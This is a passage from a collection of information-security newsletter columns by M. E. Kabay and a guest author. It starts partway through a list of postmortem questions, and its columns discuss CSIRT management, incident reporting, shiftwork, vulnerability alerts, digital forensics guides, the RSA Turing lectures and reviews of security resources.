- Were any steps or actions taken that might have inhibited the recovery?
- What would the staff and management do differently the next time a similar incident occurs?
- What corrective actions can prevent similar incidents in the future?
- What additional tools or resources are needed to detect, analyze, and mitigate future incidents?

The authors also recommend the following (paraphrasing and summarizing):

- Invite people to the postmortem with an eye to increasing cooperation throughout the organization;
- Plan the agenda by polling participants before the meeting;
- Use experienced moderators;
- Be sure the meeting rules are clear to everyone to avoid confusion and conflict;
- Keep a written record of the discussions, conclusions, and action items.

On this last point, I must add that all action items should indicate clearly who intends to deliver precisely what operational result to whom in which form by when.

In my next column on this subject, I'll be looking at continuous process improvement through knowledge sharing within the organization.

Continuous Process Improvement:
Sharing Knowledge Within the Organization

by M. E. Kabay, PhD, CISSP-ISSMP
Associate Professor of Information Assurance
Norwich University, Northfield VT

This is another in an occasional series of articles looking at computer security incident response team (CSIRT) management. In my last column, I discussed the importance of root-cause analysis. Today I'd like to present arguments in favor of systematic dissemination throughout the organization of the knowledge gained through incident postmortem and root-cause analysis.

In my previous columns, I have referred to the US National Institute of Standards and Technology _Computer Security Incident Handling Guide_ by Tim Grance, Karen Kent and Brian Kim < http://csrc.nist.gov/publications/nistpubs/800-61/sp800-61.pdf >. This free, 148 page text is clearly written and packed with practical, useful information and suggestions for anyone wanting to design, implement, manage, and improve their CSIRT.

On page 3-23, the authors make a series of recommendations on how to capitalize on the knowledge gained through systematic analysis of incidents. I am commenting briefly on each of their suggestions (shown in quotation marks).

- "Reports from these meetings are good material for training new team members by showing them how more experienced team members respond to incidents." The incident reports that were used for discussion in the analytic meetings should be made available, perhaps as appendices, in a single report document so that all of the information about a specific incident or series of incidents can be accessed at one time. In what follows, such a dossier is referred to as the _follow-up report_.

- "Another important post-incident activity is creating a follow-up report for each incident, which can be quite valuable for future use." The general principle is that without documentation, we lose the opportunity for increasing institutional knowledge. If we don't record what we have learned, transmission depends on luck: the haphazard contacts of people who need to know something with those who can help. Without documentation and efficient indexing, information transferred becomes an inefficient, random process of querying and guesswork. Informal knowledge sometimes remains limited to a few people or even a single individual; without these key resources, the information is unavailable. If the holders of undocumented information leaves the organization their knowledge is usually lost to the group.

- "First, the report provides a reference that can be used to assist in handling similar incidents." Why waste time reinventing solutions that have already been found? Why make the same errors and cause the same problems that have already been located and that could be avoided?

- "Creating a formal chronology of events (including timestamped information such as log data from systems) is important for legal reasons, as is creating a monetary estimate of the amount of damage the incident caused in terms of any loss of software and files,

hardware damage, and staffing costs (including restoring services)." One of the most kinds of information for managing security is cost estimates. Rational allocation of resources depends on knowing how often problems occur and how much they cost so that we can reasonably spend appropriate money in the form of equipment and the time of our employees or consultants to prevent such problems.

- "This estimate may become the basis for subsequent prosecution activity by entities such as the U.S. Attorney General's office." Estimates of monetary consequences are also essential for civil torts in the calculation of restitution.

- "Follow-up reports should be kept for a period of time as specified in record[-]retention policies." As the authors discuss in another section and as I will discuss in my next article, historical records become increasingly useful as they provide a statistical base for analyzing and predicting phenomena. The costs of saving such report data (which have relatively small volumes) have dropped to virtually nothing given the huge digital storage capacities of today's archival media and their extremely low cost.

New information assurance journal – Norwich University Journal of Information Assurance (NUJIA). See < http://nujia.norwich.edu >.

M. E. Kabay, PhD, CISSP-ISSMP is Program Director of the Master of Science in Information Assurance < http://www.msia.norwich.edu > at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mekabay@gmail.com >; Web site at < http://www.mekabay.com/index.htm >.

Continuous Process Improvement:
Sharing Knowledge with the Security Community

by M. E. Kabay, PhD, CISSP-ISSMP
Associate Professor of Information Assurance
Norwich University, Northfield VT

This is the last article in a series looking at computer security incident response team (CSIRT) management.

One of the most valuable contributions we can make to each other is information sharing. The Computer Emergency Response Team Coordination Center (CERT-CC) offers an overview of why and how to report security incidents in its "Incident Reporting Guidelines"< http://www.cert.org/tech_tips/incident_reporting.html >. The CSIRT experts summarize the types of activity on which they would appreciate receiving reports; reasons for reporting security incidents; the variety of people and agencies who can benefit from such reports; extensive guidelines on what to include in the reports; and how to reach the CERT-CC securely.

The section "Why should I report an incident?" has the following headers (and a paragraph or so of explanation of each point):

- You may receive technical assistance.
- We may be able to associate activity with other incidents.
- Your report will allow us to provide better incident statistics.
- Contacting others raises security awareness.
- Your report helps us to provide you with better documents.
- Your organization's policies may require you to report the activity.
- Reporting incidents is part of being a responsible site on the Internet.

Another way of contributing to the field is to speak at conferences. For example, the Forum of Incident Response and Security Teams (FIRST) < http://www.first.org/ > organizes conferences, technical colloquia and workshops. The 19th Annual FIRST Conference on Computer Security Incident Handling will be in Seville, Spain on June 17-22, 2007 < http://www.first.org/conference/2007/ >. This year the focus is "Private Lives and Corporate Risk: Digital Privacy – Hazards and Responsibilities" and includes sessions on a wide range of topics suitable for technical, managerial, and legal staff at all levels. The conference is open to all, not just members of FIRST, and organizers want participants to (quoting)

- Learn the latest security strategies in incident management
- Increase your knowledge and technical insight about security problems and their solutions
- Keep up-to-date with the latest incident response and prevention techniques
- Gain insight on analysing network vulnerabilities
- Hear how the industry experts manage their security issues
- Interact and network with colleagues from around the world to exchange ideas and advice on incident management best practices.

Readers should think about contributing papers to such conferences. Anyone who has spoken at technical conferences will confirm that there's no better way to solidify one's expertise than marshalling information into a clear presentation and speaking before one's peers. Feedback from interested participants can improve not only the current presentation but also the process being described. Intelligent, enthusiastic interchange among practitioners of good will with varied experiences and from different environments is not only productive of new ideas, it's immense fun!

The FIRST event includes "Lightning Talks" which are described as "short presentations or speeches by any attendee on any topic, which can be scheduled into conference proceedings with the approval of the organisers." Participants with hot news can thus present their findings or their ideas without necessarily having to prepare a long lecture or submitting their work many months in advance.

Another CSIRT conference organizer is ENISA, the European Network and Information Security Agency. ENISA has a calendar of conferences and workshops < http://www.enisa.eu.int/pages/04_01.htm >; at the time of writing, it seems to be a bit out of date (last entry from November 2006), but readers can get a good sense of the opportunities available for future conferences.

Other conferences such as those organized by the Computer Security Institute (CSI) < http://www.gocsi.com/netsec/ >, MIS Training Institute (MISTI) < http://www.misti.com/default.asp?Page=70 > and RSA Security < http://www.rsaconference.com/2007/US/ > among many others offer opportunities for discussions of CSIRT management. Take advantage of these opportunities by registering for the calls for participation (CFPs) and responding to one or two a year if you can.

You will be contributing to the progress of knowledge and you'll have a blast.

Shiftwork and Security

by M. E. Kabay, PhD, CISSP-ISSMP
Associate Professor, Information Assurance
Norwich University, Northfield VT

This is another in an occasional series of articles looking at computer security incident response team (CSIRT) management.

As discussed in a previous article about preventing burnout < http://www.networkworld.com/newsletters/sec/2006/1120sec1.html >, rotating assignments among CSIRT members can be an excellent idea. However, frequent changes in work schedules that involve changes in sleep cycles are not a good idea; for example, weekly changes in shift from day to night schedules can seriously disrupt the natural circadian wake/sleep cycle and have been shown to increase the rate of errors and accidents.[1] One authoritative resource states that there are "adverse health and safety effects to working shifts." The text reads as follows:

"A shiftworker, particularly one who works nights, must function on a schedule that is not natural. Constantly changing schedules can:

- upset one's circadian rhythm (24-hour body cycle),
- cause sleep deprivation and disorders of the gastrointestinal and cardiovascular systems,
- make existing disorders worse, and
- disrupt family and social life."[2]

Scientific studies throughout the world have long shown that shiftwork, by its very nature, is a major factor in the health and safety of workers; LaDou (1982) writes in his abstract, "Daily physiologic variations termed circadian rhythms are interactive and require a high degree of phase relationship to produce subjective feelings of wellbeing. Disturbance of these activities, circadian desynchronization, whether from passage over time zones or from shift rotation, results in health effects such as disturbance of the quantity and quality of sleep, disturbance of gastrointestinal and other organ system activities, and aggravation of diseases such as diabetes mellitus, epilepsy and thyrotoxicosis."[3]

The US National Institute for Occupational Safety and Health has published a monograph about shiftwork that contains the following advice for improving shiftwork schedules (quoting):

- Avoid permanent (fixed or non-rotating) night shift.
- Keep consecutive night shifts to a minimum.
- Avoid quick shift changes.
- Plan some free weekends.

- Avoid several days of work followed by four- to seven-day “mini-vacations.”
- Keep long work shifts and overtime to a minimum.
- Consider different lengths for shifts.
- Examine start-end times.
- Keep the schedule regular and predictable.
- Examine rest breaks.[4]

In summary, be sure that CSIRT management practices respect the need for restful sleep and that shift changes from day to night are relatively infrequent.

CIRT Management:
Rapid Alerts

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The value of time is context dependent. For example, a minute saved during an emergency may be worth the expense of hours of planning, training and practice for the computer incident response team (CIRT). In this column, I review three important aspects of early warnings in CIRT management: notification of vulnerabilities, notification of threats and notifications of incidents.

Vulnerabilities

The CIRT relies on operations managers to maintain adequate defenses by maintaining up-to-date system and application software. The subject of patch management is complex and will be discussed in another series, but I can remind readers that there are many resources on which to draw for notification of new-found vulnerabilities. Each network-equipment and system-software vendor generally provides a notification service; many organizations have one of their employees subscribe to these to keep up with the news. A better approach, less susceptible to interruption, is to set up a special e-mail address (e.g,, alerts@yourfirm.com) for all the subscriptions and to assign one or more people to read that mail every day. If one of the team members is away on assignment or on vacation, be sure that a replacement person takes over the task of scanning the notices to spot anything that is relevant to your network configuration. Instead of forwarding the messages to an individuals mailbox, all of them can be kept in a separate mailbox accessible to everyone on the team.

There are also many newsletters that summarize vulnerabilities; I particularly like "@RISK: The Consensus Security Vulnerability Alert" from the System Administration and Network Security Institute (SANS); you can subscribe at no cost using < https://portal.sans.org >.

Finally, regular readers will recall that the Common Vulnerabilities and Exposures (CVE) dictionary < http://cve.mitre.org/ > is a superb compendium of standardized names for vulnerabilities and exposures. MITRE writes, "CVE aspires to describe and name all publicly known facts about computer systems that could allow somebody to violate a reasonable security policy for that system."< http://cve.mitre.org/about/terminology.html > MITRE also uses the term "exposure" and defines it as "security-related facts that may not be considered to be vulnerabilities by everyone." You can download the CVE in various formats or you can use the ICAT Metabase < http://icat.nist.gov/icat.cfm > to search the CVE for various subsets of vulnerabilities (e.g., by product, version, type, and so on). At the time of writing (late June 2004) there were 6663 vulnerabilities in the CVE. As a side note, of these, 1383 involved buffer overflows (about one fifth).

Threats

There's a wide range of resources keeping track of security threats. By staying up to date about

new threats, you can improve your defenses before you are attacked; e.g., if particular attacks are growing in frequency and there are configuration changes or other measures you can take to stave them off, early warning is a real help. Some of the more popular alert letters < and where you can subscribe> include:

* Computerworld Security Update < http://www.cwrld.com/nl/sub.asp >

* Cybercrime-Alerts < http://www.freelists.org/cgi-bin/list?list_id=cybercrime-alerts >

* DHS/IAIP Daily Open Source Report < mailto:nipcdailyadmin@mail.nipc.osis.gov >

* Information Security This Week < security-subscribe@News.WebUrb.dk >

* NewsBits < http://www.newsbits.net/ >

* RISKS < mailto:risks-subscribe@csl.sri.com >

* SANS NewsBites < http://portal.sans.org/ >

* SC Infosecurity Newswire < http://content.hbpl.co.uk/subscribe1/?cmp=387 >

* Security Wire Daily, Security Wire Perspectives, Security Alert < http://searchsecurity.techtarget.com/registerProfile/1,291003,sid14,00.html?Offer=ismagsite >

Incidents

Finally, it's important to know when there's an incident happening in your own system. Intrusion detection systems should be configured to alert CIRT or network management personnel at once when there are successful intrusions, disturbances of network performance, equipment malfunctions and other incidents. There are systems available to coordinate output from network and security systems for rapid notification; for example, the GFI LANGuard Security Event Monitor (S.E.L.M.) is described as follows < http://www.gfi.com/lanselm/ >:

>GFI LANguard Security Event Log Monitor (S.E.L.M.) performs event log based intrusion detection and network-wide event log management. GFI LANguard S.E.L.M. archives and analyzes the event logs of all network machines and alerts administrators in real time to security issues, attacks and other critical events. GFI LANguard S.E.L.M.'s intelligent analysis means network administrators need not be 'event gurus' to be able to:

* Monitor for critical security events network-wide, and detect attacks and malicious network users
* Receive alerts about critical events on Exchange, ISA, SQL and IIS Servers
* Back up and clear event logs network-wide, and archive them to a central database.<

[Note: I have no financial interest whatsoever in the resources listed in this article. Mention of specific products should not be interpreted as endorsement.]

Ubiquitous Internet Dial Tone

by Robert L. Gezelter, CDP

My friend and colleague Robert L. Gezelter, CDP, has contributed an interesting article on the security and accessibility implications of pervasive workplace Internet access. The following is his text with minor editorial changes.

--MK

* * *

Over the last decade, laptop computers and network technology have become almost universal in workplaces. Many or most of the employees toting laptops are not field personnel; indeed, most of them rarely leave their office buildings. So why are companies spending extra money to pay for laptops?

In a recent speech, Andy Bryant, Intel's CFO, stated that issuing employees laptops instead of desktops was a reasoned business decision based upon costs of business operations, not on employee convenience. His staff found that meetings were pausing, or failing to reach answers, because of the absence of information normally available on employees' personal computers. Bringing laptop computers to the meetings closed the information gap.

The next logical step has been to access the corporate network using wired (10/100BaseT) or wireless (WiFi) connections, bringing additional information into the decision making process. However, this scenario raises major security issues.

Protected facilities with wired connections for each machine, where everybody has the same access to the corporate network are the simplest, and admittedly, the least interesting example. More illuminating is the common situation where the network is wireless, the attendees are a diverse group, and the access to the corporate network is different for different classes of attendees. Some meeting attendees will be outsiders with no access to their hosts' intranet, yet requiring access to their home company intranets. Sometimes outsiders may be friendly; e.g., members of the project team from other participating companies. In other situations, the outsiders may be less than friendly; e.g., customer technical and managerial representatives, government regulators, or inspectors.

We need to provide secure access to appropriate information for both employees and visitors. We can do so by implementing a hierarchical security system. The solution is to treat network access as a digital dial tone available to residents and visitors but with security restrictions enforced after the users have connected to the first layer of the network services.

WiFi security has a place in the security spectrum, but that place is as a coarse screen to keep random interlopers at arms length. As for wall jacks linking to wired LANs, the most cost effective solutions use VPN technologies to provide secure access to authorized personnel and the ability to deal with the full nuances of the security environment within the corporate intranet. Everyone else just gets access to the external Internet.

[MK adds: even there, visitors' use of corporate Internet access should still be controlled by firewalls using egress filtering to ensure that visitors are not making the host facility liable for damages or criminal prosecution by engaging in acts such as denial of service attacks or downloads of child pornography.]

* * *

Robert Gezelter, CDP, Software Consultant, guest lecturer and technical facilitator has more than 25 years of international consulting experience in private and public sectors. Mr. Gezelter is a frequent speaker at technical conferences worldwide such as HPETS (formerly DECUS) and a member of the IEEE Computer Society's Distinguished Visitor Program. In March, he will be speaking more elaborately on these issues at two Central Florida IEEE Computer Society chapter meetings (Tampa on March 24, Orlando on March 25).

He has written for Network World, Open Systems Today, Digital Systems Journal, Digital News, and Hardcopy. He is also a contributor to the _Computer Security Handbook, 4th Edition_, Wiley, 2002.

Bob Gezelter can be reached via email at < mailto:gezelter@rlgsc.com >. His Web site is < http://www.rlgsc.com >.

The Security Show

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The Department of Homeland Security's National Cyber Security Division is committed to increasing public awareness of information security issues and basic computer hygiene – practices such as installing firewalls on personal computers, never opening unexpected attachments to e-mail, not buying anything from junk e-mailers and so on.

Not once in any of the discussions I have heard about reaching ordinary, non-technical people have I ever heard anyone suggest that the single most effective medium for spreading the word is television.

Now, don't get me wrong: I detest commercial television and have not had it in my home since 1976. I watch DVD's on a TV that receives no broadcast at all because we're so far out in rural Vermont that you need a satellite dish – and I rejected TV service on the StarBand satellite dish that provides my Internet access.

But whether we like it or not, TV is part of life for most people in the US. According to the Citizens for Independent Public Broadcasting (CIPB), the average US family had the TV on for about seven hours a day in 2003.

The average kid in the USA
* Spends over 1,000 hours a year watching TV and 900 hours in school;
* Sees 20,000 ads on TV a year;
* Watches an average of 8,000 murders by the end elementary school;
* Observes over 40,000 murders by the time (s)he reaches 18 years of age.

Maybe if security awareness were as pervasive as murder on TV we might get somewhere; after all, the USA has one of the highest murder rates in the world per capita (8^{th} highest with firearms and 23^{rd} overall).

It may not be economically feasible for government agencies to sponsor entire TV series or even individual shows aimed at the full spectrum of watchers; producing shows can cost anywhere from $10,000 to $100,000 an episode depending on the cast, location and special effects.

However, in these commercial TV programs, providers of products and services often buy visibility for their stuff using "product placement." For a fraction of the cost of overt advertising, companies can buy a spot in the limelight for their brand. You must have noticed all the shots of people ostentatiously picking up a can of some brightly-colored soda pop for no apparent reason in TV shows and movies – or the frequency with which FedEx or UPS delivery persons show up at some opportune moment in the full glory of their resplendent, never-before-worn uniforms. These brand displays are not accidents: they bring money to the producers and visibility to the product placers.

So why not spend some of the public awareness money by paying for a different kind of product placement? Instead of helping to make us obese by featuring fatty, sugary foods twelve times an

hour or ensuring continued oil consumption by glorifying fatty, obese SUVs from every possible camera angle, why not pay for such inoffensive additions as having an attractive character (everyone is attractive in the alternative universe of TV land) mention in passing that they've just been hit by a virus / worm / junk e-mail / pornographic pop-up / threatening instant message / remote-administration Trojan? Then an equally attractive character can earnestly and briefly mention some elementary aspect of computer security. "Oh," says some teen icon, "you have to install a personal firewall on your PC to keep people out of your computer." Or more realistically, "Yeah, well, dude, it's like you have to, like, keep your, like, antivirus signatures, y'know, like, up to date, like. Y'know?"

If funds are available, we could even see entire episodes focusing on computer security as a theme. Just imagine a show with, say, a teenaged witch who runs a flying saucer factory (listen, what do I know about TV? I remember hearing about a flying nun and thinking it was just a joke) and has her production line hacked into by devils. So she gets this really cool transdimensional guy with purple stripes on his nose and a tentacle growing out of the back of his head to improve security on her systems. And then. . . .

Hmm, I think I should stick to my day job.

CyberBits Forensics Newsletter

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I recently began receiving an interesting monthly newsletter on digital forensics called _CyberBits_, which comes from CyberEvidence, Inc., a Texas firm that specializes in "computer forensics training and computer incident response" according to their Web site. The company works with law enforcement and private companies in collecting and analyzing digital forensic evidence. The founder, Paul Brown, was an officer of the Houston Police Department and is active with the Texas InfraGard, the Information Systems Security Association, the American Society for Industrial Security, the High Technology Computer Investigation Association and others. He was also a contributor to the National Institute of Justice's _Electronic Crime Scene Investigation: A Guide for First Responders_.

The February 2004 issue of _CyberBits_ has an overview of steganography by Angelique Grado. She points out that a key difference between encryption and steganography is that ciphertext is usually immediately recognizable as such. In contrast, the text concealed through steganography are usually unnoticed. This property of being covert is similar to encoded messages, where common words or phrases mean something else according to a code book; used carefully, a code can pass as ordinary text too.

The article on page 4 (the last page) of the newsletter looks at video-game consoles as a source of forensic evidence. Author Terry Landry emphasizes that with their powerful processors, high-capacity disks and network connections (e.g., an Xbox console with "a 733 Megahertz Intel Processor, RAM memory, a huge hard disk (approx. 10 Gigabytes), a DVD drive, and an Ethernet network port capable of connecting to a broadband Internet connection" this unit hardly qualifies as "just a game." He reports that there are many tools on the Internet for running Linux on these "toys" and that therefore investigators should not ignore them if they see such units during a search for evidence. He writes that he knows of one investigation where "An old Sega Dreamcast game system was modified and then connected to a corporate network and used to harvest sensitive corporate data, but was overlooked by IT security simply because no one suspected a seemingly harmless video game sitting on an employee's desk."

I am looking forward to the next issues of CyberBits and hope that those of you with an interest in forensics will enjoy the newsletter.

[I have no association with CyberEvidence, Inc. other than checking with Paul Brown that it would be OK to publicize his newsletter.]

Electronic Crime Scene Investigation

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

When I was reviewing a forensics newsletter recently, I was reminded of the July 2001 release of _Electronic Crime Scene Investigation: A Guide for First Responders_ issued by the Technical Working Group for Electronic Crime Scene Investigation at the Office of Justice Programs, National Institute of Justice of the US Department of Justice.

The free document, 93 pages long, begins with an introduction to information technology for law enforcement and other investigators.

Chapter 2 describes investigative tools and equipment such as screwdrivers, pliers, plastic bags and so on – obvious for investigators but less so for information technology geeks.

Chapter 3 discusses how to secure and evaluate the scene of a [putative] crime. The guide warns that in the initial phase of the investigation, "do not alter the condition of any electronic devices: If it is off, leave it off. If it is on, leave it on."

Chapter 4 explains how to document the scene for use in possible prosecutions or cases under civil law. Photographs are useful in this phase of the data gathering.

Chapter 5 reviews evidence collection. In particular, the guide warns the investigator to remove the power cord at the computer side, not the wall outlet side. This procedure makes it more likely that the computer will be halted rather than shutting down (sometimes computers are connected to uninterruptible power supplies which can signal the loss of mains power and initiate a shutdown procedure, thus destroying some of the dynamic data on disk such as the swap file).

Chapter 6 gives instructions on safe packaging, transportation and storage of evidence. It is critically important that a proper chain of custody be established and documented for evidence at all stages of handling.

Chapter 7 and several appendices provide checklists of the types of evidence that are particularly useful in different types of crime; e.g., in auction fraud, accounting data and address books are on the list whereas in child exploitation cases, chat logs are particularly valuable.

This guide is written simply and clearly and should be used by anyone who is establishing or revising policy and procedures for computer emergency response teams to deal with the collection and safe handling of evidence in computer crime investigations.

2AISS Slides Available

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

The Special Interest Group on Security, Audit and Control (SIGSAC) at Norwich University meets every week under my direction to discuss the latest news from the world of security, to watch security movies, and generally to have a good time in a relaxed atmosphere where everyone is welcome to join in regardless of their technical expertise.

Our SIGSAC invited everyone interested in cybercrime and information assurance to benefit from the work of selected students from Norwich University, Champlain College and Dartmouth College at the Second Annual Information Assurance Student Symposium (2AISS) which took place at Norwich University from 12:30 to 17:00 on Wednesday the 25th of February 2004. There was no fee for admission and everyone was welcome.

I am pleased to announce that the PowerPoint presentations from our speakers are now available online for noncommercial use. These can be useful in saving time for anyone preparing a talk on similar topics for teaching or awareness in government, commerce, and educational institutions.

* Sharon Smith of Champlain College presented "An Introduction to Digital Evidence Discovery" based on the master's thesis research she is conducting there under the guidance of Prof. Gary Kessler.

* Annarita Giani, a doctoral student from Dartmouth College working with Prof. Paul Thompson, presented an overview of "Semantic Hacking" which be of particular interest to anyone interested in information warfare.

* Karthik Raman is a student at Norwich University who spoke on "Intellectual Property Rights and Music Piracy: How It All Started."

* LTC David Ward of Norwich University described the NSA and NSF Cyber Corps "IA Scholarship Opportunities".

* Noelle Paro, one of the Cyber Corps scholarship winners at Norwich University presented an "Identity Theft Update."

* Norwich Engineering student Michael Gioia summarized the current state of knowledge about "Van Eck Phreaking," a technique for watching what people are doing on a remote computer by demodulating modulated carrier waves emitted by unshielded electronic equipment.

The students (and LTC Ward) have provided valuable resources in these presentations and I hope that some of you will be able to take advantage of their kindness in making their slides available to all.

And maybe I'll see some of you at next year's event, when we plan to include a student from University of Vermont in our roster of speakers.

Turing Award Lectures Online

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Back in December 2003, I received an announcement from the Association for Computing Machinery (ACM) about the 2002 Turing Award Lectures, which is the ACM's most prestigious technical award. The famous cryptographers Drs. Leonard M. Adleman (University of Southern California), Ronald L. Rivest (Massachusetts Institute of Technology), and Adi Shamir (The Weizmann Institute), the developers of the RSA encryption code were recognized on June 8, 2003 in San Diego, CA "for their seminal contributions to the theory and practical application of public key cryptography."

Readers will recall that Rivest, Shamir and Adleman implemented public key cryptography in the 1970s following the landmark work of Whitfield Diffie, Martin Hellman and Ralph Merkle in which they proposed the concept of the . They then founded RSA Security Incorporated, which became one of the most respected security companies in the world. RSA organizes the immensely valuable annual RSA Conferences, perhaps the most significant security conference of the year now that the National Computer Security Center and the National Institute of Standards and Technology have stopped their late lamented National Computer Security Conferences. While I'm mentioning them, I should remind readers that their FAQ is an excellent source of information about cryptography.

The distinguished scientists' lectures are available online in a variety of formats at:

http://www.acm.org/awards/turing_citations/rivest-shamir-adleman.html

Prof. Adleman started the event with a brief (~15 minutes) historical overview of three major areas of study that led to the public key cryptosystem (PKC): number theory, the study of computational complexity, and cryptology.

Next, Prof. Rivest took about a quarter hour to review the events around the invention of the RSA PKC. One of his amusing comments is the "Meta-Theorem of Cryptography: Any apparently contradictory set of requirements can be met using the right mathematical approach." They hit on the idea of depending on the difficulty of factoring as the basis for a public/private key cryptosystem, where one key would be public, the other private, and each key would decrypt what the other key encrypted. Martin Gardner of _Scientific American_ helped them by publishing an article with a $100 challenge for factoring a 129-digit product of two large primes (RSA-129). They estimated that factoring this number would take 40 quadrillion years. At that time, doing RSA decryptions on a 1 million instruction per second mainframe VAX computer would take around 30 seconds for a reasonable-sized input file. Moore's law came to the rescue, however, and now software runs at least 2,000 times faster than that. The RSA-129 challenge was finally factored using thousands of cooperating computers via the Internet and a ciphertext was decrypted as "The magic words are squeamish ossifrage." Dr Adleman strongly urged public review of cryptographic schemes and supports public standards.

Finally, Prof. Shamir reviewed the current state of cryptography. Despite initial fears among the

law enforcement community that encryption would lead to serious impediments for investigations and anti-terrorism work, the most recent reports from the Department of Justice show that in federal wiretaps in 2002, no federal wiretaps encountered encryption. In state and local jurisdictions, investigators encountered encryption in 16 wiretaps in approximately 1300 cases; however, in none of these cases did encryption interfere with the ability of the investigators to gather the evidence they needed for prosecution. He pointed out that cryptography is central to today's technology, including communications and information theory, computer science, computers and chips, high-technology industry, policy issues, and mathematics and statistics. One of the most important benefits of cryptography is the constant interaction of theory and practice; for example, abstract mathematical tools have been productively applied to cryptanalysis. Similarly, well-established practical concepts such as basic notions of security, complexity, logic and randomness have stimulated much theoretical creativity. Because cryptography is so much fun, it attracts attention of young people and serves as an excellent educational tool.

Dr Shamir formulated three laws of security. First, "Absolutely secure systems do not exist." We have to accept that we should implement systems that are secure enough. For example, postage stamps are a ridiculous security measure, but they work for millions of people around the world. Vending machines where you put in a coin and choose one newspaper out of the pile available are weak security systems, but they're good enough. The second law is, "To half your vulnerability, you have to double your expenditure." This law implies that improvements in security become less and les cost-effective the further one goes in improving one's systems. Finally, "Cryptography is typically bypassed, not penetrated." He said he is unaware of any major, world-class security failure in which hackers penetrated systems by using heavy-duty cryptanalysis. They usually use much easier methods.

The last part of Dr Shamir's review is a review of six major areas of today's cryptography: (1) theory, (2) public key encryption and signature schemes, secret-key cryptography using (3) block ciphers and (4) stream ciphers, (5) theoretical cryptographic protocols, and (6) practical cryptographic protocols. He predicted that
* AES will remain secure for the foreseeable future;
* Some public key schemes and key sizes will be successfully attacked in the next few years;
* Cryptography will be invisibly everywhere;
* Vulnerabilities will be visibility everywhere;
* Crypto research will remain vigorous, but only its simples ideas will become practically useful
* Non-crypto security will remain a mess.

It was exhilarating to listen to these brilliant people speaking to us and I hope some of you will have an hour to spare to enjoy their lectures.

Outward Signs of Talent

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

I had the pleasure of listening to Bill Neugent at the annual meeting of the Federal Information Systems Security Educators Association in March 2004. Quoting from his Web site, "Bill has been a cybersecurity consultant for over thirty years. Please don't do the math. In his day job, he works for MITRE, a not-for-profit think tank that advises the federal government. At MITRE Bill is the chief engineer for over two-hundred cybersecurity experts. He has developed cybersecurity strategies for a number of agencies and was a primary architect of the Defense-in-Depth strategy that has been implemented throughout the U.S. military. He drafted the first computer security program plan for the overall intelligence community. Nowadays he advises the top cybersecurity officials within government agencies on technical and programmatic strategies. In his rowdier youth, he wrote not only the first Federal guideline on cybersecurity certification and accreditation, but also a series of humorous security articles that became cult classics. Further back, he created and taught a graduate-level course in computer security at The American University, one of the first such courses in the country."

Not only did he give one of the best keynote speeches I've ever heard (I volunteered this quote for his Web site: "One of the best speakers I've ever heard. Brilliant, stimulating and entertaining."), but he also told us about his 2002 novel, _*No Outward Sign*_. I read his book on my way home from the conference and enjoyed it thoroughly.

The story begins with the destruction of an Amtrak railway train -- a terrorist act that has a dreadful resonance given the recent horrible events in Spain. We are introduced to the brilliant FBI computer crime expert Paige Langford, who has been responsible for tracking down and convicting criminal hackers for the Bureau. Then we meet Brent Singleton, a criminal hacker with a social conscience. I have to say that I don't generally like novels in which criminal hackers are presented as heroes, but I came to like Brent in spite of my prejudices. Brent is an interesting person. He is dying from a brain tumor and has taken the last five months off from his leadership of a worldwide hacktivist network to resume his study of the 'cello. He is kind, thoughtful, passionate about ideas and values. He was married to an Iraqi woman, lived in Iraq, learned Arabic, and was imprisoned by the dictator of that country.

As the story develops, we realize that there is a serious attack in progress on the infrastructure the United States using information warfare techniques. Singleton tries his best to fight the attack but his hostility to government agencies makes him a prickly ally for Langford and other law enforcement and intelligence agents. He breaks into systems to test their vulnerabilities, annoy these corporations whose interests are threatened by honest disclosure of their technical difficulties, and courts arrest at every turn. Even his international activist colleagues have doubts about his abilities and leadership.

Nonetheless, Singleton manages to convince most of his hacktivist friends and at least a few of the government information warriors to pay attention to his warnings and accepted information at face value.

I dare not continue too far in this review for fear of spoiling a really good yarn. Suffice it to say that perhaps the greatest compliment to any writer is to say that the people he writes about become real to his readers. I found that I genuinely cared about the people in this novel and that they have stayed with me in the weeks since I finished reading it.

Nugent's ideas are sound; his warnings about infrastructure vulnerabilities need to be accepted at the highest levels of strategic thinking. Read this book if you like realistic sci-fi novels.

Incident Management Training on CD

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

My good friends and colleagues Michael Miora, CISSP and Stephen Cobb, CISSP have put together an excellent training tool called Incident Management CD (IMCD) for anyone working on contingency plans. The content is Michael's and Stephen does the narration.

I met both Michael and Stephen many years ago when we were all involved in the National Computer Security Association (NCSA); both were important contributors to the _*Computer Security Handbook, 4th Edition*_ *and* both are now adjunct professors in the MSIA program which I direct at Norwich University.

The IMCD product from ContingenZ Corporation is trivially easy to install to disk. A window appears with contents in a panel on the left and text in a panel on the right. In the full product, Stephen Cobb's mellifluous voice takes us through the three major sections of the program:

* Part 1 covers incident management training;

* Part 2 is a guided analysis, where users are "asked a series of questions that will form the basis of the automated analysis that IMCD performs."

* Part 3 is where users can create and print their Incident Management Plan based on their prior interactions with the IMCD engine.

In addition to these sections, the IMCD product includes Appendices. In addition to information about ContingenZ Corporation, the appendices include a Resource Guide with, among others, white papers on:

* Incident Management

* Building an Incident Response Team

* Using the Generalized Cost Containment (GCC) Model

* Using Reserve Systems for Business Continuation

* Incident Management Overview: Recognize, React, Respond.

I found it hard to read the PDF files in the relatively small window of the IMCD interface, but all of these appendix files are available as individual PDF files in the directory < C:\Program Files\ContingenZ\IMCD\usa\partA\content > if you install to the default directory.

The Help section has information on registering, backing up your files, icons, and keyboard shortcuts. There's also an FAQ (Frequently-Asked Questions); I was amused to find that it has exactly three questions. Now that's what I call a well-documented product <smile>.

You can download a free evaluation copy in which the narration is disabled; however, it also has a sample database that illustrates what a fully-implemented plan can look like.

